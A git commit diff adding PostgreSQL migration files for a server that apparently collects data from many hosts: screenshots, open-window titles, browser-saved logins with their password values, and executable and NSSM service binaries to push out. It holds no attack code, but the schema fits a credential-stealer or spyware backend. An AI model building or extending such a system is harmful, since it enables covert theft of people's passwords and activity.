first commit

This commit is contained in:
2025-06-28 15:16:06 +08:00
parent 0072220d05
commit 3c62871948
27 changed files with 2194 additions and 27 deletions
@@ -0,0 +1,122 @@
-- CreateTable
CREATE TABLE "hosts" (
"id" TEXT NOT NULL,
"hostname" TEXT NOT NULL,
"lastUpdate" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updatedAt" TIMESTAMP(3) NOT NULL,
CONSTRAINT "hosts_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "records" (
"id" TEXT NOT NULL,
"hostname" TEXT NOT NULL,
"timestamp" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updatedAt" TIMESTAMP(3) NOT NULL,
CONSTRAINT "records_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "windows" (
"id" TEXT NOT NULL,
"recordId" TEXT NOT NULL,
"title" TEXT NOT NULL,
"path" TEXT NOT NULL,
"memory" INTEGER NOT NULL,
CONSTRAINT "windows_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "screenshots" (
"id" TEXT NOT NULL,
"recordId" TEXT NOT NULL,
"fileId" TEXT NOT NULL,
"filename" TEXT NOT NULL,
"monitorName" TEXT NOT NULL,
CONSTRAINT "screenshots_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "credentials" (
"id" TEXT NOT NULL,
"hostname" TEXT NOT NULL,
"username" TEXT NOT NULL,
"browser" TEXT NOT NULL,
"url" TEXT NOT NULL,
"login" TEXT NOT NULL,
"lastSyncTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updatedAt" TIMESTAMP(3) NOT NULL,
CONSTRAINT "credentials_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "passwords" (
"id" TEXT NOT NULL,
"credentialId" TEXT NOT NULL,
"value" TEXT NOT NULL,
"timestamp" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "passwords_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "versions" (
"id" TEXT NOT NULL,
"version" TEXT NOT NULL,
"fileId" TEXT NOT NULL,
"filename" TEXT NOT NULL,
"checksum" TEXT NOT NULL,
"uploadTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"isLatest" BOOLEAN NOT NULL DEFAULT false,
CONSTRAINT "versions_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "nssm" (
"id" TEXT NOT NULL,
"fileId" TEXT NOT NULL,
"filename" TEXT NOT NULL,
"checksum" TEXT NOT NULL,
"uploadTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "nssm_pkey" PRIMARY KEY ("id")
);
-- CreateIndex
CREATE UNIQUE INDEX "hosts_hostname_key" ON "hosts"("hostname");
-- CreateIndex
CREATE INDEX "records_hostname_timestamp_idx" ON "records"("hostname", "timestamp");
-- CreateIndex
CREATE INDEX "records_timestamp_idx" ON "records"("timestamp");
-- CreateIndex
CREATE INDEX "credentials_hostname_idx" ON "credentials"("hostname");
-- CreateIndex
CREATE UNIQUE INDEX "credentials_hostname_username_browser_url_login_key" ON "credentials"("hostname", "username", "browser", "url", "login");
-- AddForeignKey
ALTER TABLE "records" ADD CONSTRAINT "records_hostname_fkey" FOREIGN KEY ("hostname") REFERENCES "hosts"("hostname") ON DELETE RESTRICT ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "windows" ADD CONSTRAINT "windows_recordId_fkey" FOREIGN KEY ("recordId") REFERENCES "records"("id") ON DELETE CASCADE ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "screenshots" ADD CONSTRAINT "screenshots_recordId_fkey" FOREIGN KEY ("recordId") REFERENCES "records"("id") ON DELETE CASCADE ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "credentials" ADD CONSTRAINT "credentials_hostname_fkey" FOREIGN KEY ("hostname") REFERENCES "hosts"("hostname") ON DELETE RESTRICT ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "passwords" ADD CONSTRAINT "passwords_credentialId_fkey" FOREIGN KEY ("credentialId") REFERENCES "credentials"("id") ON DELETE CASCADE ON UPDATE CASCADE;
@@ -0,0 +1,31 @@
/*
Warnings:
- Added the required column `objectName` to the `nssm` table without a default value. This is not possible if the table is not empty.
- Added the required column `objectName` to the `screenshots` table without a default value. This is not possible if the table is not empty.
- Added the required column `objectName` to the `versions` table without a default value. This is not possible if the table is not empty.
*/
-- AlterTable
ALTER TABLE "nssm" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'application/x-msdownload',
ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0,
ADD COLUMN "objectName" TEXT NOT NULL;
-- AlterTable
ALTER TABLE "screenshots" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'image/webp',
ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0,
ADD COLUMN "objectName" TEXT NOT NULL;
-- AlterTable
ALTER TABLE "versions" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'application/x-msdownload',
ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0,
ADD COLUMN "objectName" TEXT NOT NULL;
-- CreateIndex
CREATE INDEX "nssm_objectName_idx" ON "nssm"("objectName");
-- CreateIndex
CREATE INDEX "screenshots_objectName_idx" ON "screenshots"("objectName");
-- CreateIndex
CREATE INDEX "versions_objectName_idx" ON "versions"("objectName");
+3
View File
@@ -0,0 +1,3 @@
# Please do not edit this file manually
# It should be added in your version-control system (e.g., Git)
provider = "postgresql"